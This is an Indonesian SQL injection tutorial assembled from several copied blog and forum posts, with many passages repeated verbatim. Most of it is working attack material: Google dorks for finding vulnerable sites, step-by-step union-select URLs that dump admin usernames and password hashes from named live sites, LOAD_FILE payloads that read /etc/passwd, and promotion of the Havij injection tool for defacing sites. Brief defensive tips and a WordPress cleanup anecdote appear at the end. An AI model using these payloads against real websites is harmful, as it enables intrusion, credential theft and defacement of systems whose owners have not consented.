TUTORIAL SQL INJECTION
Pengertian SQL Injection :
1) SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client.
2) SQL Injection merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Sebab terjadinya SQL Injection :
1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus -- yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.
apa itu SQL injection ?
SQL injection terjadi ketika attacker bisa meng-insert beberapa SQL statement ke ‘query’ dengan cara manipulasi data input ke applikasi tsb. ini salah satu cara melakukan tekhnik SQL injection, cara ini saya copas dari http://jasakom.com oleh seorang penulis sebut saja cruz3N. Lanjut: http://www.hong.web.id/tutorial/cara-hacking-website-dengan-teknik-sql-injection#ixzz1LfHib1c4
Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah
http://www.target.com/berita.php?id=100
2. Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
Contoh :
http://www.target.com/berita.php?id=100'
atau
http://www.target.com/berita.php?id=-100
3. Maka akan muncul pesan error…
“You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1″ Dan masih banyak lagi macamnya.
“You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1″ Dan masih banyak lagi macamnya.
4. Next step adalah mencari dan menghitung jumlah table yang ada dalam databasenya…
Disini kita akan menggunakan perintah order by
Disini kita akan menggunakan perintah order by
Contoh :
http://www.target.com/berita.php?id=100+order+by+1/*
Hohoho…apalagi itu “/*” ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake “–”. Terserah aja…
Kalo “+” sebagai penghubung perintah…
5. Nah sampe sini langsung dah nyobain satu2…
http://www.target.com/berita.php?id=100+order+by+1/* (gak ada error)
http://www.target.com/berita.php?id=100+order+by+2/* (gak ada juga)
http://www.target.com/berita.php?id=100+order+by+3/* (capek dah)
http://www.target.com/berita.php?id=100+order+by+4/* (jangan nyerah)
Sampai muncul error…
Misalkan errornya disini…
Misalkan errornya disini…
http://www.target.com/berita.php?id=100+order+by+10/*
Berarti yang kita ambil adalah “9″
http://www.target.com/berita.php?id=100+order+by+9/*
6. Untuk mengetahui berapa angka yang show sekarang kita pake UNION
Contoh :
http://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9/*
Trus perhatikan angka berapa yang keluar (Kayak togel aja… ;p)
7. Misalnya angka hoki yang keluar adalah “3″ maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah “version()” atau “@@version”
http://www.target.com/news.php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*
Atau
http://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*
8. Nah kalo versinya 5 langsung aja pake perintah “information_schema” untuk melihat tabel dan kolom yang ada pada database…
Contoh :
http://www.target.com/berita.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*
Nah katanya kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL. Tapi waktu itu gua gak pake keliatan kok tabelnya…Apa gua salah? Mungkin tapi sekarang yang gua mau jelaskan adalah VERSI DAN PENGALAMAN GUA. Mungkin agak lain…ya maklum lah baru belajar…Hehehe…
Misalnya yang lo liat adalah table “admin”
Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata “table”-nya…
Contoh:
http://www.target.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*
Misalnya kolom yang keluar adalah “password” dan “username”
Langsung aja kita liat isinya…
Langsung aja kita liat isinya…
Contoh :
http://www.target.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/*
dan
http://www.target.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*
Bisa diliat dah username ama passwordnya…Tinggal login…Cari yang asik terus…Terserah Anda…
referensi :
http://jasakom.com
http://ezine.echo.or.id
http://cruzenaldo.co.cc
http://students.ee.itb.ac.id
Atau mau mencoba tool yang baru saya dapatkan? namanya Havij. Adapun fitur2nya:
- Supported Databases with injection methods:
- MsSQL 2000/2005 with error
- MsSQL 2000/2005 no error (union based)
- MySQL (union based)
- MySQL Blind
- MySQL error based
- Oracle (union based)
- MsAccess (union based)
- Automatic database detection
- Automatic type detection (string or integer)
- Automatic keyword detection (finding difference between the positive and negative response)
- Trying different injection syntaxes
- Proxy support
- Real time result
- Options for replacing space by /**/,+,… against IDS or filters
- Avoid using strings (magic_quotes similar filters bypass)
- Bypassing illegal union
- Full customizable http headers (like referer and user agent)
- Load cookie from site for authentication
- Guessing tables and columns in mysql<5 (also in blind) and MsAccess
- Fast getting tables and columns for mysql
- Multi thread Admin page finder
- Multi thread Online MD5 cracker
- Getting DBMS Informations
- Getting tables, columns and data
- Command executation (mssql only)
- Reading system files (mysql only)
- Insert/update/delete data
Untuk menghindari link berbahaya dari website yang telah terinfeksi serangan SQL injection, Anda dapat menggunakan aplikasi tambahan seperti NoScript yang merupakan Add-ons untuk aplikasi web browser Firefox. Meskipun tidak terlalu sempurna, setidaknya Anda dapat mengurangi kemungkinan Anda menjadi korban.
Hack Deface website
Bagaimana cara mendeface website?
kebetulan banget ney,aku juga lagi pengen bisa belajar sql injection,mas DOS bagi bagi
ilmunya dong.
Nie aku ada dikit dasr buat di baca baca ,sekalian aku mau minta saran dari sang master
deface di hc ini.
1.Cari target
ex http://www.kaskus.us/shop.php?id=96
2.cari tau ada bugs or ga
cara : tambahin ' di akhir uid
http://www.kaskus.us/shop.php?id=96'
kalo ada pesan erornya,berarti tuh ada bugsnya,n siap kita oprek.
3.hitung field di databasenya
cara : tambahin +order+by+nominal/*
contoh :http://www.kaskus.us/shop.php?id=96+order+by+14/*
ex http://www.kaskus.us/shop.php?id=96
2.cari tau ada bugs or ga
cara : tambahin ' di akhir uid
http://www.kaskus.us/shop.php?id=96'
kalo ada pesan erornya,berarti tuh ada bugsnya,n siap kita oprek.
3.hitung field di databasenya
cara : tambahin +order+by+nominal/*
contoh :http://www.kaskus.us/shop.php?id=96+order+by+14/*
keterangan :
disini kita main tebak tebakan.Kira2 ada berapa field di databesnya.Kita isi aja
nominalnya dari 1 sampai ada pesan erornya.pada contoh di atas jumlah koolomnya ada
14,berarti pada nominal ke 14 pesan erornya tidak ada,and pada nominal 15 ada pesan
erornya.
nominalnya dari 1 sampai ada pesan erornya.pada contoh di atas jumlah koolomnya ada
14,berarti pada nominal ke 14 pesan erornya tidak ada,and pada nominal 15 ada pesan
erornya.
4.Sekarangh kita cari magic numbernya
cara : abis uid kita tambah +union+select+nominal jumlah kolom
contoh
http://www.kaskus.us/shop.php?id=989%20union%20select%201,2,3,4,5,6,7,8,9,10,11,1
2,13,14/*
cara : abis uid kita tambah +union+select+nominal jumlah kolom
contoh
http://www.kaskus.us/shop.php?id=989%20union%20select%201,2,3,4,5,6,7,8,9,10,11,1
2,13,14/*
liat angka berapa yg nongol.dalam contoh ini yg kluar angka 6
5.sekarang kita liat versinya {ada yg bilang klo bagian ini ga penting banget}
cara : maggic number yg kluar tadi kita ganti dengan
concat_ws(user(),0x3a,database(),0x3a,version()).pada contoh diatas adalah angka 6
cara : maggic number yg kluar tadi kita ganti dengan
concat_ws(user(),0x3a,database(),0x3a,version()).pada contoh diatas adalah angka 6
contoh http://www.kaskus.us/shop.php?id=989 union
select1,2,3,4,5,concat_ws(user(),0x3a,database(),0x3a,version()),7,8,9,10,11,12,13,14/*
6.keluarin tablenya
cara kita tambahkan +from+information_schema.tables/* setelah angka terakhir
contoh http://www.kaskus.us/shop.php?id=989%20union%20select%201,2,
3,4,5,table_name,7,8,9,10,11,12,13,14+from+information_schema.tables
ups ga isa...akalin ah.gimana kalo ditambahin lagi menjadi <pizzy>
http://www.kaskus.us/shop.php?id=989%20union%20select%201,2,
3,4,5,table_name,7,8,9,10,11,12,13,14+from+information_schema.tables+whe
re+table_schema=database()+limit+0,1/*/*
http://www.kaskus.us/shop.php?id=989%20union%20select%201,2,
3,4,5,table_name,7,8,9,10,11,12,13,14+from+information_schema.tables+whe
re+table_schema=database()+limit+0,1/*/*
gunanya apa itu sie???? hehehe aku juga ga ngerti,pas aku nyoba n gagal aku konsul ma
temen,n kata dia suruh nambah itu di belakanganya,walhasil bisa kalian liat.
7.saatnya cari kolom
cara sama kaya cara diatas,cuman tabel ganti sama column aja
8.cari user name n pass nya
7.saatnya cari kolom
cara sama kaya cara diatas,cuman tabel ganti sama column aja
8.cari user name n pass nya
sedikit penjelasan, apakah yang dimaksud dengan SQL injection..??
SQL injection adalah serangan yang memanfaatkan kelalaian dari website yang mengijinkan user untuk menginputkan data tertentu tanpa melakukan filter terhadap malicious character. Inputan tersebut biasanya di masukan pada box search atau bagian-bagian tertentu dari website yang berinteraksi dengan database SQL dari situs tersebut. Perintah yang dimasukan para attacker biasanya adalah sebuah data yang mengandung link tertentu yang mengarahkan para korban ke website khusus yang digunakan para attacker untuk mengambil data pribadi korban.
Untuk menghindari link berbahaya dari website yang telah terinfeksi serangan SQL injection, Anda dapat menggunakan aplikasi tambahan seperti NoScript yang merupakan Add-ons untuk aplikasi web browser Firefox. Meskipun tidak terlalu sempurna, setidaknya Anda dapat mengurangi kemungkinan Anda menjadi korban.
Untuk menghindari link berbahaya dari website yang telah terinfeksi serangan SQL injection, Anda dapat menggunakan aplikasi tambahan seperti NoScript yang merupakan Add-ons untuk aplikasi web browser Firefox. Meskipun tidak terlalu sempurna, setidaknya Anda dapat mengurangi kemungkinan Anda menjadi korban.
bagaimana kita menemukan website yang vuln (kali ini saya menggunakan Google)
dalam Google terdapat banyak sekali kata kunci untuk menemukan website yang vuln
ada beberapa contoh kata kunci untuk menemukan website yang vuln :
inurl:content.php?id=
inurl:index.php?id=
inurl:main.php?id=
inurl:streampage.php?id=
inurl:base.php?id=
inurl:content.php?id=
inurl:catalog.php?id=
inurl:view.php?id=
inurl:detail.php?id=
inurl:page.php?id=
mencari vuln :
dalam Google terdapat banyak sekali kata kunci untuk menemukan website yang vuln
ada beberapa contoh kata kunci untuk menemukan website yang vuln :
inurl:content.php?id=
inurl:index.php?id=
inurl:main.php?id=
inurl:streampage.php?id=
inurl:base.php?id=
inurl:content.php?id=
inurl:catalog.php?id=
inurl:view.php?id=
inurl:detail.php?id=
inurl:page.php?id=
mencari vuln :
contoh , Google memberikan kita link :
situs.com/index.php?id=1
memulai pencarian vuln di parameter ID
a. situs.com/index.php?id=1+and+1=1 (true dan true = true)
jika keluar halaman seperti id=1, mungkin itu merupakan vuln website
situs.com/index.php?id=1+and+1=2 (true dan true = false)
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
b. situs.com/index.php?id=1'+and+'1'='1 (true dan true = true)
situs.com/index.php?id=1'+and+'1'='2 (true dan false = false)
c. situs.com/index.php?id=1"+and+"1"="1 (true dan true = true)
situs.com/index.php?id=1"+and+"1"="2 (true dan false = false)
d. situs.com/index.php?id=1+order+by+1--+
situs.com/index.php?id=1+order+by+1000+--+
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
e. situs.com/index.php?id=1
situs.com/index.php?id=2-1
f. situs.com/index.php?id=1
situs.com/index.php?id=1*1
g. situs.com/index.php?id=
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
h. mysite.com/index.php?id=1'
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
i. mysite.com/index.php?id=1malingsial
"Unknown column '1malingsial' in 'where clause" <--- vuln j. situs.com/index.php?id=1)/* k. situs.com/index.php?id=1')--+ l. situs.com/index.php?id=1"/* m. situs.com/index.php?id=1))--+ website yang vuln tidak hanya pada query ini aja "index.php?id=1: situs.com/index.php/id/6/ situs.com/index.HTM?id=1 kenapa ditemukan error atau redirect???? okee agar dapat dimengerti, anda harus mempunyai kemampuan dalam pemrograman PHP dan MySql disini saya akan menulis script PHP yang simple dengan vulnerable $q = "SELECT id,info FROM mytable WHERE id=".$id; $r = mysql_query($q); $result = mysql_fetch_row($r); echo "myid ".$result[0]." info".$result[1]; ketika saya menulis id=1 and 1 = 1: $q = "SELECT id,info FROM mytable WHERE id=1 and 1=1"; $r = mysql_query($q); $result = mysql_fetch_row($r); echo "myid ".$result[0]." info".$result[1]; dapat dilihat tidak ada error karna id = 1. bila saya menulis id=1 and 1 = 2: $q = "SELECT id,info FROM mytable WHERE id=1 and 1=2"; $r = mysql_query($q); $result = mysql_fetch_row($r); echo "myid ".$result[0]." info".$result[1]; akan keluar error karena 1<>2.
jika saya menulis:
$q = "SELECT id,info FROM mytable WHERE id=".intval($id);
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];
atau
$q = "SELECT id,info FROM mytable WHERE id=' ".addslashes($id)." ' "; //without spaces
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];
jika anda mengetikan id=1+and+1=2 maka akan diterima id=1 atau jika anda mengetikan 1' maka akan menerima 1 juga.
itu berarti anda dapat menjebol website tersebut dengan metode SQL-Injection.
4. Mencari nomor kolom.
dalam hal ini ada 2 untuk mencari nomor kolom:
a. situs.com/index.php?id=1+and+1=2+UNION+SELECT+1+--+
situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2+--+
situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2,3+--+
...
apakah jumlahnya lebih tinggi sedangkan anda tidak melihat angka..? (mungkin terdapat dalam source code)
b. menggunakan perintah " order by" (digunakan untuk mengurutkan kolom berdasarkan angka).
situs.com/index.php?id=1+order+by+1+--+ (tidak ada error)
situs.com/index.php?id=1+order+by+1000+--+ (bila disini keluar error berarti didalam query tidak mempunyai 1000 kolom)
situs.com/index.php?id=1+order+by+50+--+
...
jika tidak keluar error, contoh, kita anda mengetikan order+by+10, dan keluar error ketika anda mengetikan order+by+11+--+ berarti query tersebut hanya mempunyai 10 kolom.
jika anda menemukan nomor kolom (dalam hal ini 10) maka perintah yang harus diketikan :
situs.com/index.php?id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10+--+
atau
situs.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10+--+
1+and+1=2 (true dan true=false) sama dengan id=-1 dan 1+and+1=1 (true dan true=true) sama dengan id=1
mengeluarkan database :
sekarang kita akan mengeluarkan database
dalam hal ini saya sertakan dengan Live Demo:
http://www.ewpa-majs...ECT+1,2,3,4+--+
4 tabel, nomor kolom: 3
tapi sebelum itu, kita harus mencari database, user dan versi MySqlnya.
Berikut contoh pencarian database, user dan versi MySqlnya.
http://www.ewpa-majs...concat(version(),0x3a,database(),0x3a,user()),4+--+
0x3a - adalah konversi hex dari " : ".
anda juga dapat menggunakan syntax tanpa ():
version()=@@version
user()=CURRENT_USER
database : ewpa_majster01
user : ewpa_majster01@127.0.0.1
versi My SQL: 5.0.51a-24+lenny2+spu1-log
kemudian kita harus menemukan semua databasenya:
Berikut Syntax yang digunakan :
group_concat(schema_name) + from + information_schema.schemata
Berikut Contoh Pengeluaran Databasenya:
http://www.ewpa-majs...cat(schema_name),4+from+information_schema.schemata+--+
seperti yang kita liat ada 2 database : information_schema,ewpa_majster01
kemudian kita melanjutkan dengan mengeluarkan nama tabelnya:
berikut syntax yang digunakan :
group_concat(table_name) from information_schema.tables
Berikut contoh pengeluaran nama tabelnya :
http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+--+
karna cukup banyak nama tabelnya jadi saya tidak menulisnya disini...
karna kita tidak memerlukan tabel yang dari database "information_schema":
berikut syntax yang digunakan :
group_concat(table_name) from information_schema.tables + where + table_schema<>information_schema
Berikut Contoh pengeluaran nama tabel tanpa tabel dari database "information_schema" :
http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+where+table_schema<>0x696e666f726d6174696f6e5f736368656d61+--+
696e666f726d6174696f6e5f736368656d61 = hasil konversi hex dari "information_schema"
tapi anda juga bisa mencoba ini:
http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+where+table_schema=database()+--+
kemudian kita harus menemukan kolomnya (dalam contoh saya mengambil tabel ewpa_user):
Berikut Syntax yang digunakan :
group_concat(column_name) + from + information_schema.columns + where + table_name=0xHEXDARINAMATABEL
Berikut contoh mengeluarkan kolom dari tabel :
http://www.ewpa-majs...cat(column_name),4+from+information_schema.columns+where+table_name=0x657770615f75736572+--+
657770615f75736572 = hasil konversi hex dari tabel "ewpa_user"
daftar kolom-kolom : id,login,pass
Kemudian Langkah Selanjutnya adalah mengeluarkan seluruh isi kolom yang ada di dalam tabel
Berikut Syntax yang digunakan :
group_concat(nama kolom,[0x3a],nama kolom...) +from+nama tabel
Berikut contoh mengeluarkan seluruh isi kolom dari tabel :
http://www.ewpa-majs...login,0x3a,pass),4+from+ewpa_user+--+
Hasilnya : ID=1 login=admin pass=646224a5..., ID=2 login=dyalcom pass=098f6b...
jika anda ingin mengeluarkan hanya 1 per 1 isi kolom saja, gunakan syntax : LIMIT [row],columns_count:
Berikut contohnya :
http://www.ewpa-majs...a+LIMIT+0,4+--+
http://www.ewpa-majs...a+LIMIT+1,4+--+
http://www.ewpa-majs...a+LIMIT+2,4+--+
...
Jika Keluar Error : "Illegal mix of collations" anda harus menggunakan perintah unhex(hex()) (contoh : unhex(hex(database())))
melihat password r00t:
berikut syntax yang digunakan :
situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE('etc/passwd'),4+--+
atau
situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE(0x2f6574632f706173737764),4+--+
contoh : http://www.webnewshu...32f706173737764),3+--+&rcid=2
jika anda mempunya password r00t anda bisa melakukan apapun diserver itu.. (contoh menggunakan program telnet)
5. 2 query
jika anda menginject website dengan 2 query anda tidak perlu menemukan nomor kolom lagi, karna akan keluar error :
Berikut Contoh Syntax yang digunakan untuk double query :
situs.com/index.php?id=(SELECT+*+FROM(SELECT+*+FROM(SELECT+NAME_CONST(user(),14)a)+as+t+JOIN+(SELECT+NAME_CONST(user(),14)a)b)c)
situs.com/index.php?id=1
memulai pencarian vuln di parameter ID
a. situs.com/index.php?id=1+and+1=1 (true dan true = true)
jika keluar halaman seperti id=1, mungkin itu merupakan vuln website
situs.com/index.php?id=1+and+1=2 (true dan true = false)
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
b. situs.com/index.php?id=1'+and+'1'='1 (true dan true = true)
situs.com/index.php?id=1'+and+'1'='2 (true dan false = false)
c. situs.com/index.php?id=1"+and+"1"="1 (true dan true = true)
situs.com/index.php?id=1"+and+"1"="2 (true dan false = false)
d. situs.com/index.php?id=1+order+by+1--+
situs.com/index.php?id=1+order+by+1000+--+
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
e. situs.com/index.php?id=1
situs.com/index.php?id=2-1
f. situs.com/index.php?id=1
situs.com/index.php?id=1*1
g. situs.com/index.php?id=
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
h. mysite.com/index.php?id=1'
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable
i. mysite.com/index.php?id=1malingsial
"Unknown column '1malingsial' in 'where clause" <--- vuln j. situs.com/index.php?id=1)/* k. situs.com/index.php?id=1')--+ l. situs.com/index.php?id=1"/* m. situs.com/index.php?id=1))--+ website yang vuln tidak hanya pada query ini aja "index.php?id=1: situs.com/index.php/id/6/ situs.com/index.HTM?id=1 kenapa ditemukan error atau redirect???? okee agar dapat dimengerti, anda harus mempunyai kemampuan dalam pemrograman PHP dan MySql disini saya akan menulis script PHP yang simple dengan vulnerable $q = "SELECT id,info FROM mytable WHERE id=".$id; $r = mysql_query($q); $result = mysql_fetch_row($r); echo "myid ".$result[0]." info".$result[1]; ketika saya menulis id=1 and 1 = 1: $q = "SELECT id,info FROM mytable WHERE id=1 and 1=1"; $r = mysql_query($q); $result = mysql_fetch_row($r); echo "myid ".$result[0]." info".$result[1]; dapat dilihat tidak ada error karna id = 1. bila saya menulis id=1 and 1 = 2: $q = "SELECT id,info FROM mytable WHERE id=1 and 1=2"; $r = mysql_query($q); $result = mysql_fetch_row($r); echo "myid ".$result[0]." info".$result[1]; akan keluar error karena 1<>2.
jika saya menulis:
$q = "SELECT id,info FROM mytable WHERE id=".intval($id);
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];
atau
$q = "SELECT id,info FROM mytable WHERE id=' ".addslashes($id)." ' "; //without spaces
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];
jika anda mengetikan id=1+and+1=2 maka akan diterima id=1 atau jika anda mengetikan 1' maka akan menerima 1 juga.
itu berarti anda dapat menjebol website tersebut dengan metode SQL-Injection.
4. Mencari nomor kolom.
dalam hal ini ada 2 untuk mencari nomor kolom:
a. situs.com/index.php?id=1+and+1=2+UNION+SELECT+1+--+
situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2+--+
situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2,3+--+
...
apakah jumlahnya lebih tinggi sedangkan anda tidak melihat angka..? (mungkin terdapat dalam source code)
b. menggunakan perintah " order by" (digunakan untuk mengurutkan kolom berdasarkan angka).
situs.com/index.php?id=1+order+by+1+--+ (tidak ada error)
situs.com/index.php?id=1+order+by+1000+--+ (bila disini keluar error berarti didalam query tidak mempunyai 1000 kolom)
situs.com/index.php?id=1+order+by+50+--+
...
jika tidak keluar error, contoh, kita anda mengetikan order+by+10, dan keluar error ketika anda mengetikan order+by+11+--+ berarti query tersebut hanya mempunyai 10 kolom.
jika anda menemukan nomor kolom (dalam hal ini 10) maka perintah yang harus diketikan :
situs.com/index.php?id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10+--+
atau
situs.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10+--+
1+and+1=2 (true dan true=false) sama dengan id=-1 dan 1+and+1=1 (true dan true=true) sama dengan id=1
mengeluarkan database :
sekarang kita akan mengeluarkan database
dalam hal ini saya sertakan dengan Live Demo:
http://www.ewpa-majs...ECT+1,2,3,4+--+
4 tabel, nomor kolom: 3
tapi sebelum itu, kita harus mencari database, user dan versi MySqlnya.
Berikut contoh pencarian database, user dan versi MySqlnya.
http://www.ewpa-majs...concat(version(),0x3a,database(),0x3a,user()),4+--+
0x3a - adalah konversi hex dari " : ".
anda juga dapat menggunakan syntax tanpa ():
version()=@@version
user()=CURRENT_USER
database : ewpa_majster01
user : ewpa_majster01@127.0.0.1
versi My SQL: 5.0.51a-24+lenny2+spu1-log
kemudian kita harus menemukan semua databasenya:
Berikut Syntax yang digunakan :
group_concat(schema_name) + from + information_schema.schemata
Berikut Contoh Pengeluaran Databasenya:
http://www.ewpa-majs...cat(schema_name),4+from+information_schema.schemata+--+
seperti yang kita liat ada 2 database : information_schema,ewpa_majster01
kemudian kita melanjutkan dengan mengeluarkan nama tabelnya:
berikut syntax yang digunakan :
group_concat(table_name) from information_schema.tables
Berikut contoh pengeluaran nama tabelnya :
http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+--+
karna cukup banyak nama tabelnya jadi saya tidak menulisnya disini...
karna kita tidak memerlukan tabel yang dari database "information_schema":
berikut syntax yang digunakan :
group_concat(table_name) from information_schema.tables + where + table_schema<>information_schema
Berikut Contoh pengeluaran nama tabel tanpa tabel dari database "information_schema" :
http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+where+table_schema<>0x696e666f726d6174696f6e5f736368656d61+--+
696e666f726d6174696f6e5f736368656d61 = hasil konversi hex dari "information_schema"
tapi anda juga bisa mencoba ini:
http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+where+table_schema=database()+--+
kemudian kita harus menemukan kolomnya (dalam contoh saya mengambil tabel ewpa_user):
Berikut Syntax yang digunakan :
group_concat(column_name) + from + information_schema.columns + where + table_name=0xHEXDARINAMATABEL
Berikut contoh mengeluarkan kolom dari tabel :
http://www.ewpa-majs...cat(column_name),4+from+information_schema.columns+where+table_name=0x657770615f75736572+--+
657770615f75736572 = hasil konversi hex dari tabel "ewpa_user"
daftar kolom-kolom : id,login,pass
Kemudian Langkah Selanjutnya adalah mengeluarkan seluruh isi kolom yang ada di dalam tabel
Berikut Syntax yang digunakan :
group_concat(nama kolom,[0x3a],nama kolom...) +from+nama tabel
Berikut contoh mengeluarkan seluruh isi kolom dari tabel :
http://www.ewpa-majs...login,0x3a,pass),4+from+ewpa_user+--+
Hasilnya : ID=1 login=admin pass=646224a5..., ID=2 login=dyalcom pass=098f6b...
jika anda ingin mengeluarkan hanya 1 per 1 isi kolom saja, gunakan syntax : LIMIT [row],columns_count:
Berikut contohnya :
http://www.ewpa-majs...a+LIMIT+0,4+--+
http://www.ewpa-majs...a+LIMIT+1,4+--+
http://www.ewpa-majs...a+LIMIT+2,4+--+
...
Jika Keluar Error : "Illegal mix of collations" anda harus menggunakan perintah unhex(hex()) (contoh : unhex(hex(database())))
melihat password r00t:
berikut syntax yang digunakan :
situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE('etc/passwd'),4+--+
atau
situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE(0x2f6574632f706173737764),4+--+
contoh : http://www.webnewshu...32f706173737764),3+--+&rcid=2
jika anda mempunya password r00t anda bisa melakukan apapun diserver itu.. (contoh menggunakan program telnet)
5. 2 query
jika anda menginject website dengan 2 query anda tidak perlu menemukan nomor kolom lagi, karna akan keluar error :
Berikut Contoh Syntax yang digunakan untuk double query :
situs.com/index.php?id=(SELECT+*+FROM(SELECT+*+FROM(SELECT+NAME_CONST(user(),14)a)+as+t+JOIN+(SELECT+NAME_CONST(user(),14)a)b)c)
MEWASPADAI WORDPRESS SCRIPT INJECTION
Kadang kita tidak menyadari blog wordpress kita terkena script injection alias disusupi script asing, karena efek dari script yang disisipkan ke file-file wordpress kita tidak terasa secara langsung efeknya.Saya sudah mengalami dua kali blog-blog saya kena injeksi script asing. Yang pertama sekitar 3 bulan lalu yang efeknya langsung bisa terdeteksi oleh antivirus Avast yang saya pakai selama ini. Waktu itu semua blog saya yang dihosting di Servage yang menggunakan wordpress 2.3.3 kena inject semua, selanjutnya saya timpa semua file-file wordpress saya dengan file asli dari wordpress, alhasil antivirus saya sudah tidak meraung-raung lagi saat saya buka blog saya.
Setelah 3 bulan berlalu tidak merasakan kejanggalan dengan blog-blog saya, mata saya menemukan sesuatu yang mencurigakan, setiap kali membuka blog-blog saya, saat loading terlihat nama domain asing di status browser sudut kiri bawah. Terlihat loading memanggil domain orentraff.cn , saat saya cek ternyata itu situs bokep (nggak usah dicoba.. cuma situs ngga mutu)
Sudah jelas nih file blog wordpress saya tersisipi script asing, maka saya cek file-file wordpress saya di hosting. Pertama saya cek file index.php langsung ketemu ada tambahan script ,bisa dilihat perbedaannya dengan file index.php yang asli dari wordpress.
Kemudian saya edit file index.php, trus saya coba buka lagi blog saya tersebut, ternyata di status loading masih memanggil domain orentraff.cn . Ya sudah daripada repot ngecek file-file wordpress satu persatu , saya timpa saja file-file wordpress di hosting saya dengan mengupload file asli dari wordpress.org. Hasilnya sampai saat ini sepertinya sudah OKe, ngga tahu nantinya.
Untuk mengantisipasi datangnya serangan injection lagi , saya rubah atribut beberapa file-file yang sering terkena injection antara lain index.php, wp-login.php , wp-settings.php menjadi 444 seperti yang disarankan oleh CosaAranda.